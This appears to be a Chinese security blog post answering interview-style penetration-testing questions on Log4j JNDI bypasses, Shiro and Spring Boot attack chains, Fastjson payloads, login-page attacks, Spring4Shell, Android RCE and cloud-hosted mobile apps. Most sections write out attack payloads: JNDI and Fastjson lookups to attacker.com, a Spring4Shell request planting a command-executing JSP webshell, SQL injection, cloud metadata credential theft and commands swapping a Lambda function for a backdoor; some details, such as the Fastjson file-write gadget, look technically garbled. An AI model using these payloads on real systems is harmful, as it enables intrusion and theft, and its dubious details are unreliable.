网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
华为
一、Log4j TrustedBase绕过技术解析
(一)TrustedBase机制原理
(二)实战绕过方法
(三)防御升级方案
二、Spring Boot + Shiro渗透路径
(一)Shiro RememberMe反序列化
(二)Spring Boot端点利用
(三)联合攻击链
三、Fastjson版本指纹识别
(一)特征检测法
(二)版本差异表
四、Fastjson文件读写Gadget链
(一)利用链构造
(二)漏洞原理
五、后台登录框渗透矩阵
(一)综合攻击面
(二)高级利用
六、Spring4Shell漏洞全解
(一)漏洞原理
(二)检测方法
(三)武器化利用
七、安卓系统RCE攻击矩阵
(一)四大攻击面
八、云环境移动端APP渗透
(一)云服务攻击路径
(二)混合利用链
防御体系构建建议
华为
log4j如何绕过trustdebase Springboot+shiro环境如何进行渗透 如果判断fastjson的版本 Fastjson文件读写gadget是哪条,原理是什么 给一个后台登录框有什么利用思路 SPring4shell 原理&检测&利用 安卓系统如何进行rce,有什么思路 给一个移动端的app,已知服务端是clund环境,有什么思路利用
一、Log4j TrustedBase绕过技术解析
(一)TrustedBase机制原理
java
// Log4j 2.15.0+ 信任域配置 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); System.setProperty("log4j2.formatMsgNoLookups", "true");
该机制限制JNDI只能从信任域加载类,但存在多种绕过方式:
(二)实战绕过方法
- LDAP重定向攻击
ldap
ldap://attacker.com:1389/RedirectTo=http://secondary-server.com/Exploit.class
- 利用LDAP服务端配置重定向到非信任域
- JNDI上下文环境污染
java
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
- 通过其他漏洞修改运行时环境变量
- 本地ClassPath注入
bash${jndi:ldap://127.0.0.1:1389/Exploit}
- 结合本地存在的恶意类文件触发加载
(三)防御升级方案
xml<!-- log4j2.xml 加固配置 --> <Configuration status="WARN"> <Properties> <Property name="log4j2.formatMsgNoLookups">true</Property> <Property name="log4j2.enableJndi">false</Property> </Properties> </Configuration>
二、Spring Boot + Shiro渗透路径
(一)Shiro RememberMe反序列化
密钥爆破攻击
python# shiro_tool.jar 使用示例 java -jar shiro_tool.jar http://target.com/login -k 所有可能的base64密钥
内存密钥提取
- 通过XX:+HeapDumpOnOutOfMemoryError获取堆转储文件
- 使用Eclipse Memory Analyzer搜索"rememberMe"关键字
(二)Spring Boot端点利用
httpGET /actuator/env HTTP/1.1 Host: target.com # 响应示例 {"spring.datasource.password":"Admin@123"}
- 敏感端点:
- /actuator/heapdump
- /actuator/mappings
- /actuator/beans
(三)联合攻击链
- Shiro反序列化获取基础权限
- 利用Spring Boot Actuator修改数据库密码
- 通过H2 Database Console执行系统命令
三、Fastjson版本指纹识别
(一)特征检测法
- 异常触发法
json
{"@type":"java.lang.AutoCloseable"
- 1.2.25以下版本会抛出异常
- DNS探测法
json{"@type":"java.net.Inet4Address","val":"dnslog-attacker.com"}
- 1.2.24版本自动解析
(二)版本差异表
特征 1.2.24 1.2.47 1.2.68 AutoType支持 开启 半关闭 全关闭 默认关闭类型检查 否 是 是
四、Fastjson文件读写Gadget链
(一)利用链构造
java
// 利用JdbcRowSetImpl触发JNDI { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true } // 文件读写利用链 { "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.FileUtils", "path":"/etc/passwd", "output":"./output.txt" }
(二)漏洞原理
- 反序列化时自动调用setter方法
- 通过精心构造的类调用链触发文件操作
- 利用Java反射机制绕过类型检查
五、后台登录框渗透矩阵
(一)综合攻击面
- 凭证爆破
httpPOST /login HTTP/1.1 ... username=admin&password=§Admin123§
- 使用Cluster Bomb模式进行组合爆破
- OAuth劫持
html<iframe src="https://target.com/login?redirect_uri=attacker.com">
- 劫持第三方登录回调地址
- JWT密钥破解
bashjwt-cracker -t eyJhbGciOiJIUzI1NiIs... -v 123456
- 通过已知的JWT结构爆破密钥
(二)高级利用
httpPOST /login HTTP/1.1 ... username=admin' AND 1=dbms_pipe.receive_message('RDS',5)--&password=1
- 通过时间盲注获取数据库信息
六、Spring4Shell漏洞全解
(一)漏洞原理
java// 漏洞触发点 @RequestMapping("/test") public String index(@ModelAttribute User user) { return "index"; } // 利用Payload class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i
通过参数绑定修改Tomcat日志配置实现Webshell写入
(二)检测方法
bashcurl -X POST http://target.com/test -d "class.module.classLoader=1" # 响应包含"ClassLoader"异常则存在漏洞
(三)武器化利用
httpPOST /test HTTP/1.1 Content-Type: application/x-www-form-urlencoded class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.pattern=<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>
七、安卓系统RCE攻击矩阵
(一)四大攻击面
- Intent注入
xml<activity android:exported="true"> <intent-filter> <action android:name="com.vuln.ACTION"/> </intent-filter> </activity>
- 通过隐式Intent触发敏感操作
- JNI动态加载
javaSystem.loadLibrary("vuln_lib");
- 替换so文件实现代码注入
- WebView漏洞
javawebView.setJavaScriptEnabled(true); webView.addJavascriptInterface(new JSInterface(), "bridge");
- 通过addJavascriptInterface暴露Java对象
- 第三方SDK漏洞
- 常见于推送服务(如JPush)、支付SDK等
八、云环境移动端APP渗透
(一)云服务攻击路径
- 元数据服务利用
httpGET http://169.254.169.254/latest/meta-data/iam/security-credentials/
- 通过APP所在容器的元数据服务获取临时凭证
- 云存储桶枚举
bashs3scanner scan --bucket-name-prefix prod-target
- 通过APP硬编码的存储桶名称发现可写存储桶
- Serverless函数攻击
python# 通过API Gateway触发Lambda函数 requests.post("https://api.target.com/prod/v1/query", json={"action":"exec", "cmd":"id"})
(二)混合利用链
- 逆向APP获取API密钥
- 通过云服务CLI执行命令
bashaws s3 cp s3://malicious-bucket/backdoor.sh /tmp/ aws lambda update-function-code --function-name ProdFunc --zip-file fileb://backdoor.zip
防御体系构建建议
- 云原生安全基线
- 启用GuardDuty威胁检测
- 配置IAM策略最小权限原则
- 使用KMS进行数据加密
- 移动端加固方案
java// ProGuard混淆配置 -keep class com.sensitive.** { *; } -dontwarn okhttp3.**
- 集成SSL Pinning防止中间人攻击
- 使用DexGuard进行代码虚拟化